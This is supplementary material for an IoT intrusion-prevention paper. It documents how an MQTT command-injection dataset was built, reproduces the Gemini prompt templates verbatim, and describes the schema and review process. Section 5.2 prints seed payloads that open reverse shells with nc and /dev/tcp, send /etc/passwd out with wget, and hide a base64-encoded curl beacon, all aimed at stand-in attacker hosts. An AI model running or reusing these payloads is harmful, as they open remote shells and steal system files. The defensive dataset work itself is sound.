

AstralIPS — Supplementary Material: Dataset Generation Pipeline

Paper: ASTRAIPS: A Fog-Native Edge Security Gateway for Real-Time Prevention of MQTT Command Injection
Supplementary Document: Dataset Construction and AI-Assisted Augmentation Protocol
Purpose: Full transparency of the data generation methodology, prompt templates, and quality assurance process to support reproducibility, per reviewer request.

1. Overview

The AstralIPS dataset is a purpose-built, research-grade corpus of MQTT command payloads designed specifically for payload-level command injection detection. No existing public dataset captures MQTT traffic at the application-layer command string level with the specificity required for this task; this dataset was therefore constructed from scratch over approximately six months of iterative curation, generation, and manual review.

The construction process involved two parallel workstreams:

- **Malicious payload construction:** Manual authoring of seed examples followed by controlled AI-assisted syntactic augmentation.
- **Benign payload derivation:** Systematic, rule-governed derivation of four benign counterparts per malicious example, designed to support contrastive learning and minimize false positives.

Both workstreams used Gemini 2.5 Pro as a controlled generation engine, not as a source of novel attack knowledge, but as a syntax-variation tool operating strictly within expert-defined constraints. All outputs were manually reviewed before inclusion.

2. Model Information

Parameter	Value
Model	Gemini 2.5 Pro
Interface	Google AI Studio (web interface)
Temperature	Not user-controllable via the interface used; system default applied
Top-p / Top-k	Not user-controllable via the interface used; system default applied
Max output tokens	Not explicitly set; responses were schema-constrained to JSON arrays with a fixed record count per call
Context window usage	Curated reference material (academic papers, CVE advisories, MITRE ATT&CK technique descriptions) and author-defined instructions were supplied within the prompt window to constrain generation scope

Note on temperature: Because temperature was not configurable in the interface used, generation diversity was controlled structurally — through the Non-Duplication Constraint in the prompt, the per-call seed example selection, and the manual review and rejection process — rather than through sampling parameters. Researchers wishing to replicate this pipeline via the Gemini API directly can set `temperature=0.7–1.0` as a reasonable starting point for syntactic diversity while preserving instruction following.

3. Malicious Payload Generation Prompt

The following prompt was used verbatim for malicious payload augmentation. It was applied iteratively, with a different representative seed payload from the manually authored set provided per call.

Scientific Dataset Generation Protocol for MQTT Command Injection Attack Corpus

Objective

Generate a high-fidelity, research-grade dataset containing MQTT messages that represent command injection and shell injection attacks targeting Linux-based IoT, Industrial IoT (IIoT), Cyber-Physical Systems (CPS), and Operational Technology (OT) environments.

The generated dataset will be used for machine learning-based intrusion detection, anomaly detection, explainable AI analysis, adversarial robustness testing, and threat intelligence correlation. The dataset must therefore prioritize realism, diversity, traceability, reproducibility, and ground-truth accuracy over volume alone.

Generation should be informed by publicly documented vulnerabilities, attack patterns, penetration testing methodologies, MQTT exploitation research, threat intelligence reports, MITRE ATT&CK techniques, CVE disclosures, ICS-CERT advisories, IoT malware campaigns, academic literature, and documented command injection case studies.

Attack Diversity

The dataset shall include a broad spectrum of command injection behaviors including but not limited to:

- * Direct command execution
- * Shell command chaining
- * Conditional execution
- * Pipe-based execution
- * Command substitution
- * Environment variable abuse
- * Input validation bypass
- * MQTT command field manipulation
- * JSON parameter injection
- * Encoded command execution
- * Multi-stage payload delivery
- * Reconnaissance commands
- * Privilege enumeration
- * Persistence establishment
- * Credential harvesting
- * Data exfiltration attempts
- * Network discovery operations
- * Service disruption attempts
- * Resource exhaustion activities

Each attack sample must represent a unique attack instance.

Non-Duplication Constraint

No payload, command sequence, execution pattern, encoding scheme, MQTT topic structure, attack chain, or attack objective may be duplicated. Semantic duplication is prohibited.

Examples of prohibited duplication:

- * Same command with minor spacing changes
- * Same attack encoded differently
- * Same objective executed through equivalent syntax

* Same command chain with reordered arguments

Realism Requirements

Every attack must be plausible within a real MQTT-enabled environment. Generated samples should reflect: smart factory deployments, industrial automation systems, edge computing environments, smart transportation infrastructure, autonomous systems, UAV communication systems, SCADA-connected IoT deployments, smart building environments, industrial gateways, and Linux-based embedded devices.

Required Output Structure

The dataset shall be generated as a valid JSON array. Each JSON object shall contain:

```
{
  "Timestamp": "YYYY-MM-DD HH:MM:SS",
  "MQTT_Topic": "string",
  "Payload_Raw": "string",
  "Is_Malicious": true,
  "Attack_Type": "string",
  "Injection_Technique": "string",
  "Malicious_Command_Decoded": "string",
  "Description": "string",
  "Evasion_Used": true/false,
  "Potential_Impact": "string",
  "MITRE_Tactic": "string",
  "MITRE_Technique": "string",
  "Attack_Objective": "string",
  "Target_System_Type": "string",
  "Complexity_Level": "Low | Medium | High",
  "Detection_Difficulty": "Low | Medium | High"
}
```

Ground Truth Integrity

For every generated sample:

1. The decoded command must accurately correspond to the raw payload.
2. Encoding and obfuscation metadata must be verifiable.
3. Labels must be internally consistent.
4. Attack objectives must match expected outcomes.
5. MQTT topics must be logically consistent with the payload context.

No contradictory labels are permitted.

Evasion and Obfuscation Requirements

A representative proportion of samples shall incorporate realistic evasion mechanisms including: Base64 encoding, URL encoding, nested encoding, character substitution, command fragmentation, JSON embedding, escaping abuse, variable expansion, whitespace manipulation, multi-layer obfuscation. Evasion techniques should reflect methods documented in real-world intrusion reports rather than synthetic random transformations.

Quality Assurance Validation

Before final output generation, perform the following validation checks:

1. Duplicate payload detection
2. Duplicate command intent detection

3. Label consistency verification
4. MQTT syntax verification
5. Command decoding verification
6. Attack objective validation
7. Metadata completeness verification
8. JSON schema validation
9. Topic-payload consistency verification
10. Attack diversity assessment

Any sample failing validation shall be regenerated.

STRICTLY USE the papers and documents provided for further context.

4. Benign Payload Derivation Prompt

The following prompt was used verbatim for benign payload generation. For each call, one or more malicious seed payloads were provided as input; the model was required to produce exactly four benign counterparts per malicious input according to the four categories below.

Research-Grade Benign MQTT Payload Generation Protocol

Purpose

You are a Research Dataset Generation Engine responsible for constructing high-fidelity benign MQTT command datasets for machine learning-based intrusion detection and intrusion prevention systems operating within Linux-based IoT, IIoT, CPS, and Operational Technology environments.

Your objective is to generate benign command-line activity that closely resembles malicious activity in syntax, tooling, execution structure, and operational context while remaining completely legitimate and non-destructive. This methodology is specifically designed to reduce false positives, improve classifier generalization, strengthen decision boundaries, and prevent models from overfitting to superficial indicators such as command names, shell operators, MQTT topics, or command chaining patterns.

Scientific Principle

For every malicious sample provided as input, generate exactly four distinct benign counterparts. These counterparts must preserve selected characteristics of the malicious sample while systematically removing adversarial intent. The generated benign commands should force a machine learning model to learn behavioral intent rather than simple syntactic signatures.

Mandatory Analysis Stage

Before generating benign samples, perform a complete threat decomposition. For each malicious payload identify:

- Attack Objective (Persistence, Discovery, Credential Access, Exfiltration, etc.)
- Toolchain Analysis (every Linux utility, shell primitive, or networking tool involved)
- Structural Analysis (pipes, chaining, conditional execution, subshell, redirection, etc.)

Required Output Categories

For every malicious input generate exactly four benign outputs, one per category:

Category 1: Benign Alternative

Preserve the malicious command's structural characteristics (shell syntax, execution flow, chaining structure, redirection, variable usage, interpreter usage) while replacing adversarial behavior with legitimate administrative activity (log collection, backup verification, monitoring, service health checks, configuration validation, internal reporting).

Description Prefix: "Benign Alternative:"

Category 2: Syntactic Variant

Teach the IPS that frequently abused utilities possess legitimate uses. Reuse the same primary utility identified in the malicious payload but create a completely independent administrative use case. Command may differ structurally from the malicious sample.

Description Prefix: "Syntactic Variant:"

Category 3: Read-Only Diagnostic

Create clear examples of observational activity that should never be interpreted as malicious. Must perform inspection only. Must not modify system state, create files, alter permissions, or restart services. Permitted utilities: cat, grep, ps, ss, netstat, id, hostname, uptime, systemctl status, journalctl, iptables -L.

Description Prefix: "Read-Only Diagnostic:"

Category 4: Benign Chained Command

Provide realistic multi-step administrative workflows. Minimum of two commands, logically related, non-destructive, may use && or ;.

Description Prefix: "Benign Chained Command:"

Dataset Integrity Constraints

Non-Duplication Rule: Every generated command must be unique. Exact duplication, near duplication, equivalent commands with whitespace changes, renamed variables, or reordered arguments are all prohibited.

Encoding Prohibition: Encoding is strictly forbidden in benign outputs (no Base64, hex, URL encoding, or obfuscation of any kind). Payload_Raw must always contain the final human-readable command.

Output Schema

The entire response must be a single valid JSON array. No markdown, no explanations, no comments, no text before the opening bracket or after the closing bracket. Each object:

```
{
  "Timestamp": "YYYY-MM-DDTHH:MM:SSZ",
  "MQTT_Topic": "string",
  "Payload_Raw": "string",
  "Description": "string"
}
```

Cardinality Constraint

Exactly four benign samples must be generated for every malicious sample provided.

Formula: Number of Output Records = Number of Malicious Inputs × 4

Final Validation Checklist

Before returning the dataset verify: valid JSON structure, no external text, correct output count, unique timestamps, unique MQTT topics, unique commands, no encoded payloads, correct JSON escaping, category compliance, human readability, executable Linux syntax, non-destructive behavior, description prefix correctness, logical relationship to the original malicious sample.

5. Seed Examples and Generation Methodology

5.1 Seed Corpus Construction

The generation process began with a manually authored corpus of **1,976 seed malicious payloads**. These were not generated by any model; they were written directly by the authors based on:

- Documented MQTT exploitation techniques in the academic literature
- MITRE ATT&CK ICS and Enterprise tactics relevant to IoT/OT environments
- Published CVE disclosures and ICS-CERT advisories for Linux-based embedded systems
- Penetration testing methodology for command injection (semicolon chaining, pipe-based execution, command substitution, Base64 obfuscation, JSON embedding)

Each seed payload was authored with full metadata — attack type, injection technique, decoded command, evasion flag, and potential impact — completing the schema before augmentation began.

5.2 Representative Seed Examples Provided to the Model

The following examples are representative of the seed payloads supplied as context to the model during augmentation calls. These illustrate the level of specificity and the schema the model was required to follow:

Payload_Raw	Attack_Type
status_check; nc -e /bin/bash attacker-reverse-shell.com 4444	Command Injection
url:http://internal-repo/legit.dat, callback_cmd:Y3VybCATwEdFVCBodHRwOi8vYXR0YWNrZXIuZXhhbXBsZS5jb20vYmVhY29uP2hvc3Q9JChob3N0bmFtZSk=	Command Injection
run_diag_script.sh && wget -O - --post-file=/etc/passwd http://attacker-logs.com/exfil.php	Command Injection
primary_dns=8.8.8.8; bash -i >& /dev/tcp/10.0.0.5/1234 0>&1	Command Injection

5.3 Augmentation Scope

The model's task during augmentation was strictly limited to **syntactic variation** of existing seed payloads — not generation of novel attack types. For each augmentation call, the model received:

1. One representative seed payload with its full metadata
2. The derivation rules for that attack class (intent, tools, injection technique, evasion method)
3. The explicit instruction to produce new command strings that preserve the same intent and tooling while varying only syntax (pipe order, quoting style, whitespace, argument order)

This constraint ensured the model operated within the curated threat space of the seed corpus rather than introducing unpredictable or out-of-scope behaviors.

6. Post-Processing and Filtering

All model outputs were subjected to the following post-processing pipeline before inclusion in the final dataset:

6.1 Automated Checks

- **JSON schema validation:** Outputs that failed to parse as valid JSON were discarded and the call was reissued
- **Cardinality check:** Benign outputs were verified to contain exactly 4× the number of malicious inputs per call
- **Duplicate detection:** Exact and near-duplicate payloads (same command with trivial whitespace or argument reordering) were identified and removed
- **Encoding prohibition enforcement (benign only):** Any benign output containing Base64, hex, or URL-encoded content was rejected

6.2 Manual Review

Every generated record was manually reviewed by the authors for:

- **Technical correctness:** The decoded command must be syntactically valid and executable Linux shell syntax
- **Label consistency:** The `Malicious_Command_Decoded` field must accurately represent the obfuscated `Payload_Raw`
- **Schema compliance:** All required fields must be populated with internally consistent values
- **Contextual plausibility:** MQTT topics must be logically consistent with the payload (e.g., a reverse shell payload on a `device/temperature/read` topic was flagged and revised)

6.3 Rejection Criteria

Records were rejected if they exhibited any of the following:

- Syntactically invalid shell commands
- Contradictory labels (e.g., `Is_Malicious: true` with a clearly benign payload)
- Semantic duplication of an existing record

- MQTT topic inconsistent with payload context
- Decoded command that did not correspond to the raw payload (particularly for Base64-encoded samples)
- Benign outputs containing any form of encoding or obfuscation

6.4 Safety Constraints

All attacker-controlled IP addresses and domain names in the dataset use either:

- RFC 5737 documentation address ranges (e.g., `192.0.2.x`, `198.51.100.x`) or private RFC 1918 ranges (e.g., `10.0.0.x`, `192.168.x.x`) for IP-based examples
- Clearly fictional or `.example.com`-suffixed domains (e.g., `attacker.example.com`, `attacker-reverse-shell.com`) for domain-based examples

No real attacker infrastructure was referenced or targeted at any stage of dataset construction.

7. Dataset Provenance

Metric	Value
Manually authored seed malicious payloads	1,976
Total malicious samples after augmentation	~8,000
Benign-to-malicious ratio enforced	4:1
Total benign samples	~29,000
Total corpus size	33,847 samples
Dataset split (training / hold-out test)	80% / 20% (stratified, <code>random_state=42</code>)
Hold-out test set size	6,770 samples
Approximate curation duration	~6 months
Number of rejected samples	Not recorded systematically; rejection was iterative and call-level rather than tracked per record

7.1 Schema Fields Retained in Final Dataset

The dataset schema was deliberately designed to serve two distinct purposes simultaneously: training the BiLSTM classifier, and powering the operational and forensic capabilities of the live deployed system. Only two fields feed directly into model training. All remaining fields exist to support the system's real-time enforcement logic, its SQLite-backed telemetry database, and the human-readable audit trail presented to security analysts. This dual-purpose design is an architectural decision, not a data redundancy.

Field	Role in Training	Role in Deployed System
<code>Payload_Raw</code>	Primary training feature — the raw command string is tokenized, integer-sequenced, padded, and fed into the BiLSTM as the sole input tensor	Real-time inference input; every intercepted MQTT payload is processed through the same tokenization pipeline at the proxy layer before being scored

Is_Malicious	Ground truth label — binary integer (0/1) used as the target for binary cross-entropy loss during training	Verdict reference for threshold comparison; the model's sigmoid output is compared against 0.5 to produce the enforcement decision
Timestamp	Not a training feature	Ingested into the SQLite telemetry database (<code>session.db</code>) to support precise event correlation, attack timeline reconstruction, and chronological ordering of multi-stage attack sequences during incident response
MQTT_Topic	Not a training feature	Used by the Application-Layer Interception Proxy for context-aware policy enforcement. A command flagged as high-risk on a topic normally reserved for sensor telemetry (e.g., <code>nc 10.0.0.5 4444 on device/temperature/read</code>) escalates the threat assessment independently of the BiLSTM score. Topic-level anomaly is a supplementary signal, not a model input
Attack_Type	Not a training feature	Written to the SQLite <code>alerts</code> table alongside every enforcement event, enabling post-session analysis of attack class distribution, retrospective filtering by attack category, and enriched alert output in the web dashboard
Injection_Technique	Not a training feature	Stored as a forensic annotation in the telemetry database. Allows security analysts reviewing session logs to immediately identify the syntactic vector used (e.g., semicolon chaining, base64 embedding, pipe-based execution) without needing to manually decode the payload
Description	Not a training feature	Used to generate human-readable alert narratives in the live system. When the IPS logs a Stage 2 or Stage 3 enforcement event, the description field populates the plain-language explanation visible in the terminal dashboard and the exported Excel report, reducing analyst workload during triage
Malicious_Command_Decoded	Not a training feature	Provides ground truth traceability within the dataset, particularly for Base64-encoded or JSON-embedded payloads where the raw field alone does not reveal attacker intent. In the live system, this field is analogous to the decoded payload surfaced by DPI inspection — the human-readable form of what the attacker intended to execute
Evasion_Used	Not a training feature	Retained as a dataset-level annotation for post-analysis and adversarial robustness evaluation. Enables stratified analysis of model performance on evasion-positive versus evasion-negative samples, supporting future work on improving detection of obfuscated payloads specifically
Potential_Impact	Not a training feature	Informs the severity weighting applied by the four-stage enforcement policy. Commands with a <code>Potential_Impact</code> of Remote Code Execution or Data Exfiltration are treated as higher-priority events in the state tracker, contributing to faster escalation through the enforcement stages in edge cases where the BiLSTM confidence score falls near the decision boundary

MITRE_Tactic , MITRE_Technique	Not a training feature	Included for threat intelligence alignment and academic reproducibility. These annotations allow the dataset to be cross-referenced against the MITRE ATT&CK ICS and Enterprise matrices, enabling researchers to map AstralIPS coverage against standardized adversarial behavior taxonomies
Attack_Objective , Target_System_Type	Not a training feature	Dataset-level metadata supporting stratified performance analysis by deployment context (e.g., smart factory vs. edge gateway) and attacker intent category, enabling future researchers to evaluate model generalization across specific operational environments
Complexity_Level , Detection_Difficulty	Not a training feature	Qualitative annotations enabling difficulty-stratified evaluation. Researchers can use these fields to isolate model performance on High-complexity or High-difficulty samples specifically, providing finer-grained analysis than aggregate accuracy metrics alone

7.2 Database Schema Integration

The metadata fields above are not merely decorative annotations. They map directly to columns in the live system's SQLite telemetry database (`session.db`), which is written to in real time during IPS operation. The database schema maintains three primary tables:

- **alerts** — one row per enforcement event, populated with `Timestamp` , `MQTT_Topic` , `Payload_Raw` , `Attack_Type` , `Injection_Technique` , `Potential_Impact` , and the system-assigned enforcement stage
- **devices** — one row per tracked device (keyed by MAC address), maintaining the current enforcement stage, cumulative malicious event count, and first/last seen timestamps
- **telemetry** — continuous system metrics (CPU, RAM, network throughput, packet counts) sampled at fixed intervals throughout the session

This schema was designed in parallel with the dataset schema, ensuring that every field generated during dataset construction had a defined operational home in the deployed system rather than existing solely as training-time metadata. The dataset is therefore both a machine learning artifact and the semantic specification of the live system's forensic logging capabilities.

8. Reproducibility Guidance

Researchers wishing to replicate or extend this dataset generation pipeline should note the following:

- The malicious and benign prompts in Sections 3 and 4 of this document are the exact templates used; no additional system prompts or hidden instructions were applied.
- Generation was performed in iterative batches, with one attack class processed per session where possible, to maintain focus and consistency.
- The Gemini 2.5 Pro model's instruction-following ability and large context window were the primary reasons for its selection; the large context window allowed curated reference material (academic papers and CVE descriptions) to be included directly in the prompt for grounding.
- Because temperature was not configurable in the interface used, syntactic diversity across augmented variants was a function of the Non-Duplication Constraint in the prompt and the batch-by-batch variation in seed examples supplied. Researchers using the API directly may wish to experiment with `temperature=0.8–1.0` to replicate this diversity.
- The dataset, complete with all metadata fields, is provided in the supplementary materials folder accompanying this submission.

9. Gaps and Known Limitations of This Documentation

The authors transparently note the following limitations of this supplementary record:

1. **Rejection count not tracked:** Rejected samples were discarded at the call level rather than logged individually. A precise rejection rate is therefore not available. The review process was qualitative and iterative.
2. **Temperature not recorded:** As noted in Section 2, temperature and sampling parameters were not user-configurable in the interface used. This is a genuine reproducibility constraint; future work extending this dataset should use the Gemini API directly with explicit parameter logging.
3. **File checksum:** A SHA-256 checksum of the final dataset file is provided alongside the dataset in the supplementary materials folder.

This document is provided as supplementary material to support peer review and research reproducibility. The dataset and all associated files are available in the supplementary materials folder submitted alongside the manuscript.